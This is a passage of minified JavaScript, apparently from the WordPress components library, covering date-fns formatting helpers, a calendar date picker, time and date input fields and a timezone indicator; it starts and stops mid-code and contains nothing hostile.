n.ordinalNumber(r+1,{unit:"month"});case"LLL":return n.month(r,{width:"abbreviated",context:"standalone"});case"LLLLL":return n.month(r,{width:"narrow",context:"standalone"});default:return n.month(r,{width:"wide",context:"standalone"})}},w:function(e,t,n,r){const o=dR(e,r);return"wo"===t?n.ordinalNumber(o,{unit:"week"}):pR(o,t.length)},I:function(e,t,n){const r=lR(e);return"Io"===t?n.ordinalNumber(r,{unit:"week"}):pR(r,t.length)},d:function(e,t,n){return"do"===t?n.ordinalNumber(e.getDate(),{unit:"date"}):fR.d(e,t)},D:function(e,t,n){const r=rR(e);return"Do"===t?n.ordinalNumber(r,{unit:"dayOfYear"}):pR(r,t.length)},E:function(e,t,n){const r=e.getDay();switch(t){case"E":case"EE":case"EEE":return n.day(r,{width:"abbreviated",context:"formatting"});case"EEEEE":return n.day(r,{width:"narrow",context:"formatting"});case"EEEEEE":return n.day(r,{width:"short",context:"formatting"});default:return n.day(r,{width:"wide",context:"formatting"})}},e:function(e,t,n,r){const o=e.getDay(),i=(o-r.weekStartsOn+8)%7||7;switch(t){case"e":return String(i);case"ee":return pR(i,2);case"eo":return n.ordinalNumber(i,{unit:"day"});case"eee":return n.day(o,{width:"abbreviated",context:"formatting"});case"eeeee":return n.day(o,{width:"narrow",context:"formatting"});case"eeeeee":return n.day(o,{width:"short",context:"formatting"});default:return n.day(o,{width:"wide",context:"formatting"})}},c:function(e,t,n,r){const o=e.getDay(),i=(o-r.weekStartsOn+8)%7||7;switch(t){case"c":return String(i);case"cc":return pR(i,t.length);case"co":return n.ordinalNumber(i,{unit:"day"});case"ccc":return n.day(o,{width:"abbreviated",context:"standalone"});case"ccccc":return n.day(o,{width:"narrow",context:"standalone"});case"cccccc":return n.day(o,{width:"short",context:"standalone"});default:return n.day(o,{width:"wide",context:"standalone"})}},i:function(e,t,n){const r=e.getDay(),o=0===r?7:r;switch(t){case"i":return String(o);case"ii":return pR(o,t.length);case"io":return n.ordinalNumber(o,{unit:"day"});case"iii":return n.day(r,{width:"abbreviated",context:"formatting"});case"iiiii":return n.day(r,{width:"narrow",context:"formatting"});case"iiiiii":return n.day(r,{width:"short",context:"formatting"});default:return n.day(r,{width:"wide",context:"formatting"})}},a:function(e,t,n){const r=e.getHours()/12>=1?"pm":"am";switch(t){case"a":case"aa":return n.dayPeriod(r,{width:"abbreviated",context:"formatting"});case"aaa":return n.dayPeriod(r,{width:"abbreviated",context:"formatting"}).toLowerCase();case"aaaaa":return n.dayPeriod(r,{width:"narrow",context:"formatting"});default:return n.dayPeriod(r,{width:"wide",context:"formatting"})}},b:function(e,t,n){const r=e.getHours();let o;switch(o=12===r?mR:0===r?hR:r/12>=1?"pm":"am",t){case"b":case"bb":return n.dayPeriod(o,{width:"abbreviated",context:"formatting"});case"bbb":return n.dayPeriod(o,{width:"abbreviated",context:"formatting"}).toLowerCase();case"bbbbb":return n.dayPeriod(o,{width:"narrow",context:"formatting"});default:return n.dayPeriod(o,{width:"wide",context:"formatting"})}},B:function(e,t,n){const r=e.getHours();let o;switch(o=r>=17?bR:r>=12?vR:r>=4?gR:xR,t){case"B":case"BB":case"BBB":return n.dayPeriod(o,{width:"abbreviated",context:"formatting"});case"BBBBB":return n.dayPeriod(o,{width:"narrow",context:"formatting"});default:return n.dayPeriod(o,{width:"wide",context:"formatting"})}},h:function(e,t,n){if("ho"===t){let t=e.getHours()%12;return 0===t&&(t=12),n.ordinalNumber(t,{unit:"hour"})}return fR.h(e,t)},H:function(e,t,n){return"Ho"===t?n.ordinalNumber(e.getHours(),{unit:"hour"}):fR.H(e,t)},K:function(e,t,n){const r=e.getHours()%12;return"Ko"===t?n.ordinalNumber(r,{unit:"hour"}):pR(r,t.length)},k:function(e,t,n){let r=e.getHours();return 0===r&&(r=24),"ko"===t?n.ordinalNumber(r,{unit:"hour"}):pR(r,t.length)},m:function(e,t,n){return"mo"===t?n.ordinalNumber(e.getMinutes(),{unit:"minute"}):fR.m(e,t)},s:function(e,t,n){return"so"===t?n.ordinalNumber(e.getSeconds(),{unit:"second"}):fR.s(e,t)},S:function(e,t){return fR.S(e,t)},X:function(e,t,n){const r=e.getTimezoneOffset();if(0===r)return"Z";switch(t){case"X":return _R(r);case"XXXX":case"XX":return SR(r);default:return SR(r,":")}},x:function(e,t,n){const r=e.getTimezoneOffset();switch(t){case"x":return _R(r);case"xxxx":case"xx":return SR(r);default:return SR(r,":")}},O:function(e,t,n){const r=e.getTimezoneOffset();switch(t){case"O":case"OO":case"OOO":return"GMT"+wR(r,":");default:return"GMT"+SR(r,":")}},z:function(e,t,n){const r=e.getTimezoneOffset();switch(t){case"z":case"zz":case"zzz":return"GMT"+wR(r,":");default:return"GMT"+SR(r,":")}},t:function(e,t,n){return pR(Math.trunc(e.getTime()/1e3),t.length)},T:function(e,t,n){return pR(e.getTime(),t.length)}};function wR(e,t=""){const n=e>0?"-":"+",r=Math.abs(e),o=Math.trunc(r/60),i=r%60;return 0===i?n+String(o):n+String(o)+t+pR(i,2)}function _R(e,t){if(e%60==0){return(e>0?"-":"+")+pR(Math.abs(e)/60,2)}return SR(e,t)}function SR(e,t=""){const n=e>0?"-":"+",r=Math.abs(e);return n+pR(Math.trunc(r/60),2)+t+pR(r%60,2)}const CR=(e,t)=>{switch(e){case"P":return t.date({width:"short"});case"PP":return t.date({width:"medium"});case"PPP":return t.date({width:"long"});default:return t.date({width:"full"})}},kR=(e,t)=>{switch(e){case"p":return t.time({width:"short"});case"pp":return t.time({width:"medium"});case"ppp":return t.time({width:"long"});default:return t.time({width:"full"})}},jR={p:kR,P:(e,t)=>{const n=e.match(/(P+)(p+)?/)||[],r=n[1],o=n[2];if(!o)return CR(e,t);let i;switch(r){case"P":i=t.dateTime({width:"short"});break;case"PP":i=t.dateTime({width:"medium"});break;case"PPP":i=t.dateTime({width:"long"});break;default:i=t.dateTime({width:"full"})}return i.replace("{{date}}",CR(r,t)).replace("{{time}}",kR(o,t))}},ER=/^D+$/,PR=/^Y+$/,NR=["D","DD","YY","YYYY"];function TR(e){return e instanceof Date||"object"==typeof e&&"[object Date]"===Object.prototype.toString.call(e)}function IR(e){if(!TR(e)&&"number"!=typeof e)return!1;const t=zI(e);return!isNaN(Number(t))}const RR=/[yYQqMLwIdDecihHKkms]o|(\w)\1*|''|'(''|[^'])+('|$)|./g,MR=/P+p+|P+|p+|''|'(''|[^'])+('|$)|./g,AR=/^'([^]*?)'?$/,DR=/''/g,zR=/[a-zA-Z]/;function OR(e,t,n){const r=QI(),o=n?.locale??r.locale??XI,i=n?.firstWeekContainsDate??n?.locale?.options?.firstWeekContainsDate??r.firstWeekContainsDate??r.locale?.options?.firstWeekContainsDate??1,s=n?.weekStartsOn??n?.locale?.options?.weekStartsOn??r.weekStartsOn??r.locale?.options?.weekStartsOn??0,a=zI(e);if(!IR(a))throw new RangeError("Invalid time value");let l=t.match(MR).map((e=>{const t=e[0];if("p"===t||"P"===t){return(0,jR[t])(e,o.formatLong)}return e})).join("").match(RR).map((e=>{if("''"===e)return{isToken:!1,value:"'"};const t=e[0];if("'"===t)return{isToken:!1,value:LR(e)};if(yR[t])return{isToken:!0,value:e};if(t.match(zR))throw new RangeError("Format string contains an unescaped latin alphabet character `"+t+"`");return{isToken:!1,value:e}}));o.localize.preprocessor&&(l=o.localize.preprocessor(a,l));const c={firstWeekContainsDate:i,weekStartsOn:s,locale:o};return l.map((r=>{if(!r.isToken)return r.value;const i=r.value;(!n?.useAdditionalWeekYearTokens&&function(e){return PR.test(e)}(i)||!n?.useAdditionalDayOfYearTokens&&function(e){return ER.test(e)}(i))&&function(e,t,n){const r=function(e,t,n){const r="Y"===e[0]?"years":"days of the month";return`Use \`${e.toLowerCase()}\` instead of \`${e}\` (in \`${t}\`) for formatting ${r} to the input \`${n}\`; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md`}(e,t,n);if(console.warn(r),NR.includes(e))throw new RangeError(r)}(i,t,String(e));return(0,yR[i[0]])(a,i,o.localize,c)})).join("")}function LR(e){const t=e.match(AR);return t?t[1].replace(DR,"'"):e}function FR(e,t){const n=zI(e),r=zI(t);return n.getFullYear()===r.getFullYear()&&n.getMonth()===r.getMonth()}function BR(e,t){return+zI(e)==+zI(t)}function VR(e,t){return+OI(e)==+OI(t)}function $R(e,t){const n=zI(e);return isNaN(t)?LI(e,NaN):t?(n.setDate(n.getDate()+t),n):n}function HR(e,t){return $R(e,7*t)}function WR(e,t){return HR(e,-t)}function UR(e,t){const n=QI(),r=t?.weekStartsOn??t?.locale?.options?.weekStartsOn??n.weekStartsOn??n.locale?.options?.weekStartsOn??0,o=zI(e),i=o.getDay(),s=6+(i<r?-7:0)-(i-r);return o.setDate(o.getDate()+s),o.setHours(23,59,59,999),o}const GR=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"m14.5 6.5-1 1 3.7 3.7H4v1.6h13.2l-3.7 3.7 1 1 5.6-5.5z"})}),KR=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M20 11.2H6.8l3.7-3.7-1-1L3.9 12l5.6 5.5 1-1-3.7-3.7H20z"})}),qR=window.wp.date;function YR(e,t){const n=zI(e),r=zI(t);return n.getTime()>r.getTime()}function XR(e,t){return+zI(e)<+zI(t)}function ZR(e){const t=zI(e),n=t.getFullYear(),r=t.getMonth(),o=LI(e,0);return o.setFullYear(n,r+1,0),o.setHours(0,0,0,0),o.getDate()}function QR(e,t){const n=zI(e),r=n.getFullYear(),o=n.getDate(),i=LI(e,0);i.setFullYear(r,t,15),i.setHours(0,0,0,0);const s=ZR(i);return n.setMonth(t,Math.min(o,s)),n}function JR(e,t){let n=zI(e);return isNaN(+n)?LI(e,NaN):(null!=t.year&&n.setFullYear(t.year),null!=t.month&&(n=QR(n,t.month)),null!=t.date&&n.setDate(t.date),null!=t.hours&&n.setHours(t.hours),null!=t.minutes&&n.setMinutes(t.minutes),null!=t.seconds&&n.setSeconds(t.seconds),null!=t.milliseconds&&n.setMilliseconds(t.milliseconds),n)}function eM(){return OI(Date.now())}function tM(e,t){const n=zI(e);return isNaN(+n)?LI(e,NaN):(n.setFullYear(t),n)}function nM(e,t){return FI(e,12*t)}function rM(e,t){return nM(e,-t)}function oM(e,t){const n=zI(e.start),r=zI(e.end);let o=+n>+r;const i=o?+n:+r,s=o?r:n;s.setHours(0,0,0,0);let a=t?.step??1;if(!a)return[];a<0&&(a=-a,o=!o);const l=[];for(;+s<=i;)l.push(zI(s)),s.setDate(s.getDate()+a),s.setHours(0,0,0,0);return o?l.reverse():l}function iM(e,t){const n=zI(e.start),r=zI(e.end);let o=+n>+r;const i=o?+n:+r,s=o?r:n;s.setHours(0,0,0,0),s.setDate(1);let a=t?.step??1;if(!a)return[];a<0&&(a=-a,o=!o);const l=[];for(;+s<=i;)l.push(zI(s)),s.setMonth(s.getMonth()+a);return o?l.reverse():l}function sM(e){const t=zI(e);return t.setDate(1),t.setHours(0,0,0,0),t}function aM(e){const t=zI(e),n=t.getMonth();return t.setFullYear(t.getFullYear(),n+1,0),t.setHours(23,59,59,999),t}function lM(e,t){const n=zI(e.start),r=zI(e.end);let o=+n>+r;const i=oR(o?r:n,t),s=oR(o?n:r,t);i.setHours(15),s.setHours(15);const a=+s.getTime();let l=i,c=t?.step??1;if(!c)return[];c<0&&(c=-c,o=!o);const u=[];for(;+l<=a;)l.setHours(0),u.push(zI(l)),l=HR(l,c),l.setHours(15);return o?u.reverse():u}let cM=function(e){return e[e.SUNDAY=0]="SUNDAY",e[e.MONDAY=1]="MONDAY",e[e.TUESDAY=2]="TUESDAY",e[e.WEDNESDAY=3]="WEDNESDAY",e[e.THURSDAY=4]="THURSDAY",e[e.FRIDAY=5]="FRIDAY",e[e.SATURDAY=6]="SATURDAY",e}({});const uM=(e,t,n)=>(BR(e,t)||YR(e,t))&&(BR(e,n)||XR(e,n)),dM=e=>JR(e,{hours:0,minutes:0,seconds:0,milliseconds:0}),pM=yl("div",{target:"e105ri6r5"})(Rx,";"),fM=yl(fy,{target:"e105ri6r4"})("margin-bottom:",Il(4),";"),hM=yl(mk,{target:"e105ri6r3"})("font-size:",Fl.fontSize,";font-weight:",Fl.fontWeight,";strong{font-weight:",Fl.fontWeightHeading,";}"),mM=yl("div",{target:"e105ri6r2"})("column-gap:",Il(2),";display:grid;grid-template-columns:0.5fr repeat( 5, 1fr ) 0.5fr;justify-items:center;row-gap:",Il(2),";"),gM=yl("div",{target:"e105ri6r1"})("color:",zl.theme.gray[700],";font-size:",Fl.fontSize,";line-height:",Fl.fontLineHeightBase,";&:nth-of-type( 1 ){justify-self:start;}&:nth-of-type( 7 ){justify-self:end;}"),vM=yl(Jx,{shouldForwardProp:e=>!["column","isSelected","isToday","hasEvents"].includes(e),target:"e105ri6r0"})("grid-column:",(e=>e.column),";position:relative;justify-content:center;",(e=>1===e.column&&"\n\t\tjustify-self: start;\n\t\t")," ",(e=>7===e.column&&"\n\t\tjustify-self: end;\n\t\t")," ",(e=>e.disabled&&"\n\t\tpointer-events: none;\n\t\t")," &&&{border-radius:",Fl.radiusRound,";height:",Il(7),";width:",Il(7),";",(e=>e.isSelected&&`\n\t\t\t\tbackground: ${zl.theme.accent};\n\n\t\t\t\t&,\n\t\t\t\t&:hover:not(:disabled, [aria-disabled=true]) {\n\t\t\t\t\tcolor: ${zl.theme.accentInverted};\n\t\t\t\t}\n\n\t\t\t\t&:focus:not(:disabled),\n\t\t\t\t&:focus:not(:disabled) {\n\t\t\t\t\tborder: ${Fl.borderWidthFocus} solid currentColor;\n\t\t\t\t}\n\n\t\t\t\t/* Highlight the selected day for high-contrast mode */\n\t\t\t\t&::after {\n\t\t\t\t\tcontent: '';\n\t\t\t\t\tposition: absolute;\n\t\t\t\t\tpointer-events: none;\n\t\t\t\t\tinset: 0;\n\t\t\t\t\tborder-radius: inherit;\n\t\t\t\t\tborder: 1px solid transparent;\n\t\t\t\t}\n\t\t\t`)," ",(e=>!e.isSelected&&e.isToday&&`\n\t\t\tbackground: ${zl.theme.gray[200]};\n\t\t\t`),";}",(e=>e.hasEvents&&`\n\t\t::before {\n\t\t\tborder: 2px solid ${e.isSelected?zl.theme.accentInverted:zl.theme.accent};\n\t\t\tborder-radius: ${Fl.radiusRound};\n\t\t\tcontent: " ";\n\t\t\tleft: 50%;\n\t\t\tposition: absolute;\n\t\t\ttransform: translate(-50%, 9px);\n\t\t}\n\t\t`),";");function bM(e){return"string"==typeof e?new Date(e):zI(e)}function xM(e,t){return t?(e%12+12)%24:e%12}function yM(e){return(t,n)=>{const r={...t};return n.type!==mx&&n.type!==Sx&&n.type!==wx||void 0!==r.value&&(r.value=r.value.toString().padStart(e,"0")),r}}function wM(e){var t;const n=null!==(t=e.target?.ownerDocument.defaultView?.HTMLInputElement)&&void 0!==t?t:HTMLInputElement;return e.target instanceof n&&e.target.validity.valid}const _M="yyyy-MM-dd'T'HH:mm:ss";function SM({day:e,column:t,isSelected:n,isFocusable:r,isFocusAllowed:o,isToday:i,isInvalid:s,numEvents:a,onClick:l,onKeyDown:u}){const d=(0,c.useRef)();return(0,c.useEffect)((()=>{d.current&&r&&o&&d.current.focus()}),[r]),(0,_t.jsx)(vM,{__next40pxDefaultSize:!0,ref:d,className:"components-datetime__date__day",disabled:s,tabIndex:r?0:-1,"aria-label":CM(e,n,a),column:t,isSelected:n,isToday:i,hasEvents:a>0,onClick:l,onKeyDown:u,children:(0,qR.dateI18n)("j",e,-e.getTimezoneOffset())})}function CM(e,t,n){const{formats:r}=(0,qR.getSettings)(),o=(0,qR.dateI18n)(r.date,e,-e.getTimezoneOffset());return t&&n>0?(0,a.sprintf)((0,a._n)("%1$s. Selected. There is %2$d event","%1$s. Selected. There are %2$d events",n),o,n):t?(0,a.sprintf)((0,a.__)("%1$s. Selected"),o):n>0?(0,a.sprintf)((0,a._n)("%1$s. There is %2$d event","%1$s. There are %2$d events",n),o,n):o}const kM=function({currentDate:e,onChange:t,events:n=[],isInvalidDate:r,onMonthPreviewed:o,startOfWeek:i=0}){const s=e?bM(e):new Date,{calendar:l,viewing:u,setSelected:d,setViewing:p,isSelected:f,viewPreviousMonth:h,viewNextMonth:m}=(({weekStartsOn:e=cM.SUNDAY,viewing:t=new Date,selected:n=[],numberOfMonths:r=1}={})=>{const[o,i]=(0,c.useState)(t),s=(0,c.useCallback)((()=>i(eM())),[i]),a=(0,c.useCallback)((e=>i((t=>QR(t,e)))),[]),l=(0,c.useCallback)((()=>i((e=>BI(e,1)))),[]),u=(0,c.useCallback)((()=>i((e=>FI(e,1)))),[]),d=(0,c.useCallback)((e=>i((t=>tM(t,e)))),[]),p=(0,c.useCallback)((()=>i((e=>rM(e,1)))),[]),f=(0,c.useCallback)((()=>i((e=>nM(e,1)))),[]),[h,m]=(0,c.useState)(n.map(dM)),g=(0,c.useCallback)((e=>h.findIndex((t=>BR(t,e)))>-1),[h]),v=(0,c.useCallback)(((e,t)=>{m(t?Array.isArray(e)?e:[e]:t=>t.concat(Array.isArray(e)?e:[e]))}),[]),b=(0,c.useCallback)((e=>m((t=>Array.isArray(e)?t.filter((t=>!e.map((e=>e.getTime())).includes(t.getTime()))):t.filter((t=>!BR(t,e)))))),[]),x=(0,c.useCallback)(((e,t)=>g(e)?b(e):v(e,t)),[b,g,v]),y=(0,c.useCallback)(((e,t,n)=>{m(n?oM({start:e,end:t}):n=>n.concat(oM({start:e,end:t})))}),[]),w=(0,c.useCallback)(((e,t)=>{m((n=>n.filter((n=>!oM({start:e,end:t}).map((e=>e.getTime())).includes(n.getTime())))))}),[]),_=(0,c.useMemo)((()=>iM({start:sM(o),end:aM(FI(o,r-1))}).map((t=>lM({start:sM(t),end:aM(t)},{weekStartsOn:e}).map((t=>oM({start:oR(t,{weekStartsOn:e}),end:UR(t,{weekStartsOn:e})})))))),[o,e,r]);return{clearTime:dM,inRange:uM,viewing:o,setViewing:i,viewToday:s,viewMonth:a,viewPreviousMonth:l,viewNextMonth:u,viewYear:d,viewPreviousYear:p,viewNextYear:f,selected:h,setSelected:m,clearSelected:()=>m([]),isSelected:g,select:v,deselect:b,toggle:x,selectRange:y,deselectRange:w,calendar:_}})({selected:[OI(s)],viewing:OI(s),weekStartsOn:i}),[g,v]=(0,c.useState)(OI(s)),[b,x]=(0,c.useState)(!1),[y,w]=(0,c.useState)(e);return e!==y&&(w(e),d([OI(s)]),p(OI(s)),v(OI(s))),(0,_t.jsxs)(pM,{className:"components-datetime__date",role:"application","aria-label":(0,a.__)("Calendar"),children:[(0,_t.jsxs)(fM,{children:[(0,_t.jsx)(Jx,{icon:(0,a.isRTL)()?GR:KR,variant:"tertiary","aria-label":(0,a.__)("View previous month"),onClick:()=>{h(),v(BI(g,1)),o?.(OR(BI(u,1),_M))},size:"compact"}),(0,_t.jsxs)(hM,{level:3,children:[(0,_t.jsx)("strong",{children:(0,qR.dateI18n)("F",u,-u.getTimezoneOffset())})," ",(0,qR.dateI18n)("Y",u,-u.getTimezoneOffset())]}),(0,_t.jsx)(Jx,{icon:(0,a.isRTL)()?KR:GR,variant:"tertiary","aria-label":(0,a.__)("View next month"),onClick:()=>{m(),v(FI(g,1)),o?.(OR(FI(u,1),_M))},size:"compact"})]}),(0,_t.jsxs)(mM,{onFocus:()=>x(!0),onBlur:()=>x(!1),children:[l[0][0].map((e=>(0,_t.jsx)(gM,{children:(0,qR.dateI18n)("D",e,-e.getTimezoneOffset())},e.toString()))),l[0].map((e=>e.map(((e,i)=>FR(e,u)?(0,_t.jsx)(SM,{day:e,column:i+1,isSelected:f(e),isFocusable:BR(e,g),isFocusAllowed:b,isToday:VR(e,new Date),isInvalid:!!r&&r(e),numEvents:n.filter((t=>VR(t.date,e))).length,onClick:()=>{d([e]),v(e),t?.(OR(new Date(e.getFullYear(),e.getMonth(),e.getDate(),s.getHours(),s.getMinutes(),s.getSeconds(),s.getMilliseconds()),_M))},onKeyDown:t=>{let n;"ArrowLeft"===t.key&&(n=$R(e,(0,a.isRTL)()?1:-1)),"ArrowRight"===t.key&&(n=$R(e,(0,a.isRTL)()?-1:1)),"ArrowUp"===t.key&&(n=WR(e,1)),"ArrowDown"===t.key&&(n=HR(e,1)),"PageUp"===t.key&&(n=BI(e,1)),"PageDown"===t.key&&(n=FI(e,1)),"Home"===t.key&&(n=oR(e)),"End"===t.key&&(n=OI(UR(e))),n&&(t.preventDefault(),v(n),FR(n,u)||(p(n),o?.(OR(n,_M))))}},e.toString()):null))))]})]})};function jM(e){const t=zI(e);return t.setSeconds(0,0),t}const EM=yl("div",{target:"evcr2319"})("box-sizing:border-box;font-size:",Fl.fontSize,";"),PM=yl("fieldset",{target:"evcr2318"})("border:0;margin:0 0 ",Il(4)," 0;padding:0;&:last-child{margin-bottom:0;}"),NM=yl("div",{target:"evcr2317"})({name:"pd0mhc",styles:"direction:ltr;display:flex"}),TM=Nl("&&& ",ib,"{padding-left:",Il(2),";padding-right:",Il(2),";text-align:center;}",""),IM=yl(gy,{target:"evcr2316"})(TM," width:",Il(9),";&&& ",ib,"{padding-right:0;}&&& ",Kv,"{border-right:0;border-top-right-radius:0;border-bottom-right-radius:0;}"),RM=yl("span",{target:"evcr2315"})("border-top:",Fl.borderWidth," solid ",zl.gray[700],";border-bottom:",Fl.borderWidth," solid ",zl.gray[700],";font-size:",Fl.fontSize,";line-height:calc(\n\t\t",Fl.controlHeight," - ",Fl.borderWidth," * 2\n\t);display:inline-block;"),MM=yl(gy,{target:"evcr2314"})(TM," width:",Il(9),";&&& ",ib,"{padding-left:0;}&&& ",Kv,"{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0;}"),AM=yl("div",{target:"evcr2313"})({name:"1ff36h2",styles:"flex-grow:1"}),DM=yl(gy,{target:"evcr2312"})(TM," width:",Il(9),";"),zM=yl(gy,{target:"evcr2311"})(TM," width:",Il(14),";"),OM=yl("div",{target:"evcr2310"})({name:"ebu3jh",styles:"text-decoration:underline dotted"}),LM=()=>{const{timezone:e}=(0,qR.getSettings)(),t=(new Date).getTimezoneOffset()/60*-1;if(Number(e.offset)===t)return null;const n=Number(e.offset)>=0?"+":"",r=""!==e.abbr&&isNaN(Number(e.abbr))?e.abbr:`UTC${n}${e.offsetFormatted}`,o=e.string.replace("_"," "),i="UTC"===e.string?(0,a.__)("Coordinated Universal Time"):`(${r}) ${o}`;return 0===o.trim().length?(0,_t.jsx)(OM,{className:"components-datetime__timezone",children:r}):(0,_t.jsx)(ss,{placement:"top",text:i,children:(0,_t.jsx)(OM,{className:"components-datetime__timezone",children:r})})};const FM=(0,c.forwardRef)((function(e,t){const{label:n,...r}=e,o=r["aria-label"]||n;return(0,_t.jsx)(A_,{...r,"aria-label":o,ref:t,children:n})}));function BM({value:e,defaultValue:t,is12Hour:n,label:r,minutesProps:o,onChange:i}){const[l={hours:(new Date).getHours(),minutes:(new Date).getMinutes()},u]=f_({value:e,onChange:i,defaultValue:t}),d=l.hours<12?"AM":"PM";const p=l.hours%12||12;const f=e=>(t,{event:r})=>{if(!wM(r))return;const o=Number(t);u({...l,[e]:"hours"===e&&n?xM(o,"PM"===d):o})};const h=r?PM:c.Fragment;return(0,_t.jsxs)(h,{children:[r&&(0,_t.jsx)(Wx.VisualLabel,{as:"legend",children:r}),(0,_t.jsxs)(fy,{alignment:"left",expanded:!1,children:[(0,_t.jsxs)(NM,{className:"components-datetime__time-field components-datetime__time-field-time",children:[(0,_t.jsx)(IM,{className:"components-datetime__time-field-hours-input",label:(0,a.__)("Hours"),hideLabelFromVision:!0,__next40pxDefaultSize:!0,value:String(n?p:l.hours).padStart(2,"0"),step:1,min:n?1:0,max:n?12:23,required:!0,spinControls:"none",isPressEnterToChange:!0,isDragEnabled:!1,isShiftStepEnabled:!1,onChange:f("hours"),__unstableStateReducer:yM(2)}),(0,_t.jsx)(RM,{className:"components-datetime__time-separator","aria-hidden":"true",children:":"}),(0,_t.jsx)(MM,{className:s("components-datetime__time-field-minutes-input",o?.className),label:(0,a.__)("Minutes"),hideLabelFromVision:!0,__next40pxDefaultSize:!0,value:String(l.minutes).padStart(2,"0"),step:1,min:0,max:59,required:!0,spinControls:"none",isPressEnterToChange:!0,isDragEnabled:!1,isShiftStepEnabled:!1,onChange:(...e)=>{f("minutes")(...e),o?.onChange?.(...e)},__unstableStateReducer:yM(2),...o})]}),n&&(0,_t.jsxs)(x_,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,isBlock:!0,label:(0,a.__)("Select AM or PM"),hideLabelFromVision:!0,value:d,onChange:e=>{var t;(t=e,()=>{d!==t&&u({...l,hours:xM(p,"PM"===t)})})()},children:[(0,_t.jsx)(FM,{value:"AM",label:(0,a.__)("AM")}),(0,_t.jsx)(FM,{value:"PM",label:(0,a.__)("PM")})]})]})]})}const VM=["dmy","mdy","ymd"];function $M({is12Hour:e,currentTime:t,onChange:n,dateOrder:r,hideLabelFromVision:o=!1}){const[i,s]=(0,c.useState)((()=>t?jM(bM(t)):new Date));(0,c.useEffect)((()=>{s(t?jM(bM(t)):new Date)}),[t]);const l=[{value:"01",label:(0,a.__)("January")},{value:"02",label:(0,a.__)("February")},{value:"03",label:(0,a.__)("March")},{value:"04",label:(0,a.__)("April")},{value:"05",label:(0,a.__)("May")},{value:"06",label:(0,a.__)("June")},{value:"07",label:(0,a.__)("July")},{value:"08",label:(0,a.__)("August")},{value:"09",label:(0,a.__)("September")},{value:"10",label:(0,a.__)("October")},{value:"11",label:(0,a.__)("November")},{value:"12",label:(0,a.__)("December")}],{day:u,month:d,year:p,minutes:f,hours:h}=(0,c.useMemo)((()=>({day:OR(i,"dd"),month:OR(i,"MM"),year:OR(i,"yyyy"),minutes:OR(i,"mm"),hours:OR(i,"HH"),am:OR(i,"a")})),[i]),m=e=>(t,{event:r})=>{if(!wM(r))return;const o=Number(t),a=JR(i,{[e]:o});s(a),n?.(OR(a,_M))},g=(0,_t.jsx)(DM,{className:"components-datetime__time-field components-datetime__time-field-day",label:(0,a.__)("Day"),hideLabelFromVision:!0,__next40pxDefaultSize:!0,value:u,step:1,min:1,max:31,required:!0,spinControls:"none",isPressEnterToChange:!0,isDragEnabled:!1,isShiftStepEnabled:!1,onChange:m("date")},"day"),v=(0,_t.jsx)(AM,{children:(0,_t.jsx)(cS,{className:"components-datetime__time-field components-datetime__time-field-month",label:(0,a.__)("Month"),hideLabelFromVision:!0,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,value:d,options:l,onChange:e=>{const t=QR(i,Number(e)-1);s(t),n?.(OR(t,_M))}})},"month"),b=(0,_t.jsx)(zM,{className:"components-datetime__time-field components-datetime__time-field-year",label:(0,a.__)("Year"),hideLabelFromVision:!0,__next40pxDefaultSize:!0,value:p,step:1,min:1,max:9999,required:!0,spinControls:"none",isPressEnterToChange:!0,isDragEnabled:!1,isShiftStepEnabled:!1,onChange:m("year"),__unstableStateReducer:yM(4)},"year"),x=e?"mdy":"dmy",y=(r&&VM.includes(r)?r:x).split("").map((e=>{switch(e){case"d":return g;case"m":return v;case"y":return b;default:return null}}));return(0,_t.jsxs)(EM,{className:"components-datetime__time",children:[(0,_t.jsxs)(PM,{children:[o?(0,_t.jsx)(Sl,{as:"legend",children:(0,a.__)("Time")}):(0,_t.jsx)(Wx.VisualLabel,{as:"legend",className:"components-datetime__time-legend",children:(0,a.__)("Time")}),(0,_t.jsxs)(fy,{className:"components-datetime__time-wrapper",children:[(0,_t.jsx)(BM,{value:{hours:Number(h),minutes:Number(f)},is12Hour:e,onChange:({hours:e,minutes:t})=>{const r=JR(i,{hours:e,minutes:t});s(r),n?.(OR(r,_M))}}),(0,_t.jsx)(zg,{}),(0,_t.jsx)(LM,{})]})]}),(0,_t.jsxs)(PM,{children:[o?(0,_t.jsx)(Sl,{as:"legend",children:(0,a.__)("Date")}):(0,_t.jsx)(Wx.VisualLabel,{as:"legend",className:"components-datetime__time-legend",children:(0,a.__)("Date")}),(0,_t.jsx)(fy,{className:"components-datetime__time-wrapper",children:y})]})]})}$M.TimeInput=BM,Object.assign($M.TimeInput,{displayName:"TimePicker.TimeInput"});const HM=$M;const WM=yl(pk,{target:"e1p5onf00"})({name:"1khn195",styles:"box-sizing:border-box"}),UM=()=>{};const GM=(0,c.forwardRef)((function({currentDate:e,is12Hour:t,dateOrder:n,isInvalidDate:r,onMonthPreviewed:o=UM,onChange:i,events:s,startOfWeek:a},l){return(0,_t.jsx)(WM,{ref:l,className:"components-datetime",spacing:4,children:(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)(HM,{currentTime:e,onChange:i,is12Hour:t,dateOrder:n}),(0,_t.jsx)(kM,{currentDate:e,onChange:i,isInvalidDate:r,events:s,onMonthPreviewed:o,startOfWeek:a})]})})})),KM=GM,qM=[{name:(0,a._x)("None","Size of a UI element"),slug:"none"},{name:(0,a._x)("Small","Size of a UI element"),slug:"small"},{name:(0,a._x)("Medium","Size of a UI element"),slug:"medium"},{name:(0,a._x)("Large","Size of a UI element"),slug:"large"},{name:(0,a._x)("Extra Large","Size of a UI element"),slug:"xlarge"}],YM={BaseControl:{_overrides:{__associatedWPComponentName:"DimensionControl"}}};const XM=function(e){const{__next40pxDefaultSize:t=!1,__nextHasNoMarginBottom:n=!1,label:r,value:o,sizes:i=qM,icon:l,onChange:c,className:u=""}=e;Xi()("wp.components.DimensionControl",{since:"6.7",version:"7.0"}),Ux({componentName:"DimensionControl",__next40pxDefaultSize:t,size:void 0});const 